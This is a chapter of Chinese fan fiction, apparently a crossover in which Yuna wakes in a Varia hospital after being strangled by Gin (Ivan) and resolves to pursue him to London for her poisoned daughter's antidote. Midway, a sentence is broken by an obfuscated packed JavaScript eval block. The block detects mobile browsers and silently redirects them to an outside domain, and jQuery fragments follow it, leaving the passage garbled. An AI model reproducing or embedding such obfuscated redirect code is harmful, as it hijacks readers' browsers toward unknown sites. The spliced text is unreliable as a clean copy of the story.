优奈的意识在黑暗中挣扎,耳边的嘈杂人声慢慢清晰。她挣扎着睁开眼睛,映入眼帘的不是家中熟悉的天花板,而是医院的白色天花板,空气中弥漫着消毒水的气息。
“妈妈!”一声带着哭腔的的呼唤在她耳边响起。
优奈艰难地偏过头,看到爱莉亚红肿着眼睛,小脸上满是未干的泪痕,正紧紧抓着她的手,仿佛一松开她就会消失。
“爱莉亚……”优奈的声音干涩,喉咙火辣辣的疼痛提醒着她昏迷前发生的一切。她下意识地想抬起另一只手抚摸女儿,却发现自己手上扎着吊针输液管。
“醒了醒了!”贝尔的脸映入眼睑,他把床头柜上的水杯递到优奈唇边,让她润润干裂的嘴唇。贝尔脸上带着压制不住的肃杀之气,但嘴上还是故作轻松地抱怨,“真是的,小公主给你打电话也不接,我们找到你家就看到你倒在床上晕了过去,吓了王子一跳呢~”
弗兰站在稍远一点的地方,语气依旧平淡无波:“前辈也太不小心了,你当时一动不动,ME还以为你死掉了。”
“呜……妈妈……”听到弗兰这么说,让爱莉亚想起当时的场景,泪水又涌上眼眶。
优奈的心猛地一紧。她看向爱莉亚,努力挤出一个安抚的微笑:“爱莉亚别怕,妈妈没事……只是……只是有很厉害的坏人闯到了家里,我受了点伤。”她有意掩饰琴酒的事情,绝不能让女儿知道伤害自己的人就是她心心念念的爸爸。
“坏人?”爱莉亚吓得小脸惨白,“他被妈妈打败了吗?还会不会再来伤害妈妈?他……他掐了妈妈的脖子……妈妈疼不疼?爱莉亚帮妈妈吹吹……”
优奈撑起身子,靠坐在床上。她的身体因为长时间昏迷还有些虚弱,不过高烧已经退了。她把爱莉亚搂在怀里,轻声哄着:“不疼了,爱莉亚,这点小伤对我来说不算什么。”
“那个坏人……”优奈想到失去意识前决绝的琴酒,神色暗淡了一瞬,但很快继续温柔安慰,“他已经离开了,爱莉亚不用担心。”
“妈妈跟贝尔哥哥和弗兰哥哥还有重要的事情要商量,爱莉亚先跟护士姐姐出去玩一会,好吗?”她看向门口的医护人员,示意对方上前带走爱莉亚。在清醒后优奈便察觉到这里是瓦利安日本基地内的医疗中心,所有医护人员都是可以信赖的家族成员。
爱莉亚虽然不舍,但还是乖巧地点点头,一步三回头地被医疗人员带出了病房。
房门刚一关上,病房内的气氛瞬间降至冰点。
贝尔彻底沉下一张脸,刘海后的眼睛死死盯着优奈脖颈上那圈清晰恐怖的青紫色指痕。
“好了,小公主走了,该说说什么情况了吧?”他语气阴森森的,嘴角勾起一个嗜血的笑容,“嘻嘻嘻~是哪个混蛋伤了你?王子最近正好无聊,可以帮你把他剁碎了喂狗。”
弗兰也走到优奈病床边的椅子上坐下,翠绿色的眼睛定定看着她:“前辈别担心,虽然堕王子不是很靠谱,但ME也会帮忙的。”
贝尔没心情跟弗兰斗嘴,他翻了个白眼,等待优奈的回答。
优奈闭上眼睛深吸一口气,那天发生的一切在她脑海中一一回闪。琴酒毁了那块银质怀表,那是她在他十八岁时送给他的礼物,他的眼中满是厌恶与冷酷,他甚至还说……她再也见不到伊万了。
他彻底抛下了自己和爱莉亚。
优奈的心脏仿佛被碾碎般剧痛,她失控地颤抖着,双手死死攥紧身下的床单,每一次短促而艰难的吸气都像是窒息前的挣扎,胸口剧烈起伏却吸不进一丝完整的空气,好像一条脱水的鱼在垂死挣扎。
“喂!喂!优奈!”贝尔扶住优奈的肩膀,伸手就要按向床头的呼叫铃,“你怎么样!?”
优奈一把抓住贝尔的手,声音颤抖:“我……我……没事……别叫人……让爱莉亚……担心。”
她自己就是医生,知道这是情感波动剧烈引发的过呼吸。她有意识地减缓呼吸频率,偌大的病房中一时间只有她艰难而痛苦的喘息声,生理性的泪水从眼角滑落,打湿了床单。
经过不断的深呼吸换气,她的呼吸终于恢复平稳。优奈擦了擦眼角,坐直了身子。
“小优奈……”贝尔看着她苍白的脸和泛红的眼角,不知道自己刚才的话是怎么刺激到了她,不敢再开口。
经过这一遭,优奈逐渐从刚刚清醒后的剧烈痛苦中冷静了下来。他看了眼面露担忧之色的贝尔和弗兰,心知这件事瞒不了他们。
“是……伊万。”她哑声说道,手指划过脖颈上的指印。
“伊万,那个家伙……”贝尔眉头拧紧,带了几分咬牙切齿的意味,“他居然敢这么对待你?混蛋……”
“贝尔!”优奈打断了他的话,轻声安抚他的情绪,“不是你想的那样。他看到了怀表中伊万的旧照片……”
她简略地将事情的经过说了一遍,他之所以生气,不过是他觉得优奈把他当成了伊万的替代品。
至于爱莉亚被琴酒下毒的事情,优奈之前直接找了医疗部协助,一直没跟二人提过。这次也一并把这件事告诉了二人。
“欸——居然是情杀吗——好像狗血恋爱小说里的剧情。”弗兰听到伊万发怒理由时,拖长了声音吐槽。但当优奈讲到爱莉亚被下了毒药时,他翠绿色的眼中难得染上了惊愕的情绪,张大了嘴,一时说不出话。
贝尔的反应则更直接,他额头青筋直跳,唰地一下从椅子上站了起来:“伊万!他为了这点小事要杀你,还敢对爱莉亚做这样的事情!?说什么失忆,那个混蛋,该不会一开始就背叛了组织……妈的,我现在就去……”
他怒气冲冲地抬头看向优奈,还要说些什么,却在看到优奈表情时噤了声。
优奈脸上没有被爱人伤害的痛苦,只剩一片平静,她的嘴角甚至还轻轻弯起,露出一个温柔的浅笑。
贝尔打了个寒战,心中升起不好的预感。
他曾经看过她这副
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263931|178986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样子。那一年伊万失踪,她失魂落魄了很多天,整个人憔悴得不成人形。但某一日她突然在晚饭时出现在了瓦利安餐厅中,跟平日一样跟大家打招呼,冷静又温柔。
从那日开始,她好像彻底忘记了失去伊万的痛苦,好吃好喝地养好身体,顺利生下了爱莉亚。就在所有人都以为她从伤痛中走了出来,即将开始新生时,出乎所有人意料,她单枪匹马地进入墨西哥“银蝎”家族地盘潜伏几年,最后用那种燃尽自身火焰的自毁方式,一人杀死了“银蝎”家族的全部高层。
他从小就把优奈当成自己的姐姐,但那个时候开始他才真正明白了她。
她是一个冷静的疯子,越冷静,就代表她疯得越厉害。
“贝尔,冷静些。”她按着贝尔的肩膀,让他重新坐下。吊瓶里的点滴马上就要输完,她直接拔下了手背上的针头,“别担心,我会处理。”
她说着,拿起了床头柜上的手机,屏幕上的时间显示她昏迷了整整一天。
极致的痛苦让她前所未有地清醒与冷静,头脑中迅速开始分析如今的形势并形成解决方案。
现在最重要的就是爱莉亚的解药。她上次服用是在四天前,也就是说,她无论如何都需要在三天内找到琴酒并获得这一周的药物。
她尝试给琴酒发了一封邮件,果不其然,她的邮件被拒收,想来他那日离开后就把她的联系方式删除拉黑。
果然,她联系不到他了。
想到这里,她不禁露出了一个温柔的笑容。我的伊万,还是那么果断呢……好爱他。
好在她早有准备。
优奈转身看向弗兰:“弗兰,之前我们安排瓦利安全球范围内的情报机构关注伊万的行踪……现在能找到他吗?”
瓦利安的情报由雾属性部队负责,弗兰是直接的管理人。早在优奈确定琴酒的身份后,就已经通知他们的情报网时刻关注他的动向,以免他再次从她生命中消失。
弗兰本能地感受到优奈藏在平静表面下的疯狂与绝望,他没再像往常一样吐槽,默默拿出手机给下属们发送指令。
半晌,他从屏幕上抬起头:“找到了。日本海关有他使用□□的出境记录,飞机昨天抵达伦敦希思罗机场。没有查到其他旅行记录,人应该还在英国。”
对于反跟踪意识超强的琴酒,情报部门无法做到实时跟踪监控,但凭借瓦利安的力量,找到他的蛛丝马迹并不难。
“伦敦……”优奈念出这个地名。
真是绝情啊……伊万。他如此厌恶自己,切断联系后跑到了那么远的地方。
他是想惩罚她吗?切断联系,不再提供解药,然后通过她脖颈上的项圈,观看爱莉亚的死亡过程,以及她痛苦悔恨的样子。
真是个不负责任的爱人和爸爸。
不过没关系。
亲爱的伊万,我这就过去找你。
这一次,无论是生是死,我都不会再让你有机会离开我了。